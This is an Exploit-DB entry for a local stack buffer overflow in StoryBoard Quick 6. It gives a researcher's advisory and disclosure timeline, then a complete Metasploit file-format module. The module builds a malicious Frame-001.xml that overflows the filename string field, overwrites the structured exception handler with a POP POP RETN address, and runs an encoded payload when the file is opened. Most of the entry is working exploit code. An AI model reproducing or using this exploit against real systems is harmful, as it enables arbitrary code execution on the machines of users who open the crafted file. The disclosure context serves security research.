StoryBoard Quick 6 – Local Stack Buffer Overflow (Metasploit)

  • 作者: Nick Freeman
    日期: 2011-12-01
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/18186/
  • #NameLStoryBoard Quick 6 Stack Buffer Overflow 
    #Vendor Website:http://www.powerproduction.com/ 
    #Date Released:29/11/2011 
    #Affected Software: StoryBoard Quick 6 (potentially also StoryBoard Artist and StoryBoard Studio) 
    #Researcher: Nick Freeman (nick.freeman@security-assessment.com)
    
    
    #Description
    #Security-Assessment.com has discovered a file format vulnerability in the XML files used to describe frames #in the StoryBoard Quick 6 software. The <string> element used to define a filename was found to be #vulnerable to a buffer overflow, which can be exploited to execute arbitrary code under the context of the #user running StoryBoard Quick 6. Supplying a long file name causes memory corruption within the application.
    
    #By crafting a file that contains more than 507 characters in the <string> field, the StoryBoard Quick 6 #application will use the next 4 characters in an unsafe manner. These four characters are used as a pointer #to the source address for a string copy function. It is possible to write user-supplied data onto the stack #by changing the value of these 4 characters to a memory location containing a pointer to data within the #Frame.xml file. This strcpy function overwrites a significant portion of the stack, including the Structured #Exception Handler.
    
    #Disclosure Timeline:
    #Security-Assessment.com practices responsible disclosure and made significant effort to report this #vulnerability to PowerProduction Software.
    #13/06/2011: First email sent to PowerProduction, asking for contact details for security or developer #personnel.
    #17/06/2011: After several attempts to get in contact, PowerProduction asks me for a customer number.
    #17/06/2011: Security-Assessment.com replies stating that this issue is exploitable without a customer number. #No response was received from PowerProduction after this email.
    #23/06/2011: Security-Assessment.com sends a follow-up email stating that the vulnerability is still present.
    #10/07/2011: A final email is sent stating that PowerProduction customers are vulnerable.
    #05/11/11: Vulnerability released at Kiwicon V in Wellington, New Zealand.
    #19/11/11: Vulnerability released at Ruxcon 2011 in Melbourne, Australia.
    #29/11/11: Vulnerability advisory and exploit code published.
    
    
    require 'msf/core'
    class Metasploit3 < Msf::Exploit::Remote
    	Rank = AverageRanking
    
    	include Msf::Exploit::FILEFORMAT
    
    	def initialize(info = {})
    		super(update_info(info,
    			'Name' => 'StoryBoard Quick 6 Memory Corruption Vulnerability',
    			'Description'=> %q{
    					This module exploits a stack-based buffer overflow in StoryBoard Quick 6.
    			},
    			'License'=> MSF_LICENSE,
    			'Author' 	 => [ 'vt [nick.freeman@security-assessment.com]' ],
    			'Version'=> '$Revision: 10394 $',
    			'References' =>
    				[
    					[ 'URL', 'http://security-assessment.com/files/documents/advisory/StoryBoard_Quick_6-Stack_Buffer_Overflow.pdf' ]
    				],
    			'Payload'=>
    				{
    					'Space'=> 1024,
    					'BadChars' => "\x00",
    					'DisableNops'=> true,
    					'EncoderType'=> Msf::Encoder::Type::AlphanumMixed,
    					'EncoderOptions' =>
    						{
    							'BufferRegister' => 'EAX',
    						}
    				},
    			'Platform' => 'win',
    			'Targets'=>
    				[
    					[ 'Default (WinXP SP3 No DEP)',
    						{
    						}
    					],
    				],
    			'Privileged' => false,
    			'DisclosureDate' => 'Nov 30 2011',
    			'DefaultTarget'=> 0))
    
    		register_options(
    			[
    				OptString.new('FILENAME', [ true, 'The file name.',"Frame-001.xml"]),
    			], self.class)
    	end
    
    	def exploit
    
    		template = %Q|<plist version="1.0">
    <dict>
    <key>ID</key>
    <integer>1</integer>
    <key>Objects</key>
    <array>
    <dict>
    <key>Size-X</key>
    <real>134.00000000</real>
    <key>Size-Y</key>
    <real>667.00000000</real>
    <key>Type</key>
    <string>cLIB</string>
    <key>Library</key>
    <string>C:\\Program Files\\StoryBoard Quick 6\\Libraries\\Characters\\Woman 1.artgrid</string>
    <key>ID</key>
    <string>AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAREPLACE_1BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB.xo</string>
    <key>Colorization</key>
    <dict>
    <key>Arms</key>
    <string>ff4b70ff</string>
    <key>Eyes</key>
    <string>ff00ff00</string>
    <key>Hair</key>
    <string>ff68502d</string>
    <key>Face</key>
    <string>fffdd8a1</string>
    <key>REPLACE_2</key>
    <string>ff070707</string>
    <key>Skin</key>
    <string>ffd7b583</string>
    <key>Legs</key>
    <string>ff06007e</string>
    </dict>
    <key>Whom</key>
    <string>LINDA</string>
    <key>Scale-X</key>
    <real>0.74842578</real>
    <key>Scale-Y</key>
    <real>0.74842578</real>
    <key>Offset-Y</key>
    <real>41.60000610</real>
    </dict>
    <dict>
    <key>Size-X</key>
    <real>310.00000000</real>
    <key>Size-Y</key>
    <real>575.00000000</real>
    <key>Type</key>
    <string>cLIB</string>
    <key>Library</key>
    <string>C:\\Program Files\\StoryBoard Quick 6\\Libraries\\Characters\\Woman 2.artgrid</string>
    <key>ID</key>
    <string>30012.xo</string>
    <key>Colorization</key> 
    <dict>
    <key>Arms</key>
    <string>ff909090</string>
    <key>Eyes</key>
    <string>ff00ff00</string>
    <key>Hair</key>
    <string>ff090909</string>
    <key>Face</key>
    <string>ffff0837</string>
    <key>Shoe</key>
    <string>ff1100c2</string>
    <key>Skin</key>
    <string>ffb78d4f</string>
    <key>Legs</key>
    <string>ff050505</string>
    </dict>
    <key>Whom</key>
    <string>C.J.</string>
    <key>Scale-X</key>
    <real>0.86817396</real>
    <key>Scale-Y</key>
    <real>0.86817396</real>
    <key>Offset-Y</key>
    <real>41.60000610</real>
    </dict>
    <dict>
    <key>IsSelected</key>
    REPLACE_3<true/>
    <key>Size-X</key>
    <real>682.00000000</real>
    <key>Size-Y</key>
    <real>565.00000000</real>
    <key>Type</key>
    <string>cLIB</string>
    <key>Library</key>
    <string>C:\\Program Files\\StoryBoard Quick 6\\Libraries\\Characters\\Woman 1.artgrid</string>
    <key>ID</key>
    <string>30013.xo</string>
    <key>Colorization</key>
    <dict>
    <key>Arms</key>
    <string>ff4b70ff</string>
    <key>Eyes</key>
    <string>ff00ff00</string>
    <key>Hair</key>
    <string>ff68502d</string>
    <key>Face</key>
    <string>fffdd8a1</string>
    <key>Shoe</key>
    <string>ff070707</string>
    <key>Skin</key>
    <string>ffd7b583</string>
    <key>Legs</key>
    <string>ff06007e</string>
    </dict>
    <key>Whom</key>
    <string>LINDA</string>
    <key>Scale-X</key>
    <real>0.95718473</real>
    <key>Scale-Y</key>
    <real>0.95718473</real>
    <key>Offset-Y</key>
    <real>62.40469360</real>
    </dict>
    </array>
    <key>FrameDB</key>
    <dict>
    <key>TXT-0006</key>
    <data>
    MDYvMDMvMTEgMjM6Mjg6MDMA
    </data>
    </dict>
    <key>UN-Thumb</key>
    <true/>
    </dict>
    </plist>
    |
    
    		sploit = template.gsub(/REPLACE_1/, "\xd9\xcf\xe5\x74")
    
    		padd = "\x43" * 4256
    		nseh = "\x90\xeb\x06\x90"
    		seh= "\x25\x12\xd1\x72" # POP, POP, RETN
    		nops = "\x90"*9
    
    		# set buffer register
    		bufregstub ="\x8b\xc4" 	# mov eax, esp
    		bufregstub += "\x33\xc9" 	# xor ecx
    		bufregstub += "\x83\xc1\x7f"	# add ecx, 7f
    		bufregstub += "\x6b\xc9\x17"	# imul ecx,17
    		bufregstub += "\x83\xc1\x7b"# add ecx,7b
    		bufregstub += "\x03\xc1" 	# add eax,ecx # eax now points to buffer, ready to decode shellcode.
    		
    		sploit = sploit.gsub(/REPLACE_2/,padd + nseh + seh + nops + bufregstub + payload.encoded + ("\x44"*(11137-payload.encoded.length)))
    	
    		sploit = sploit.gsub(/REPLACE_3/, "\x45"*658)
    
    		print_status("Creating '#{datastore['FILENAME']}' file ...")
    
    		file_create(sploit)
    
    	end
    
    end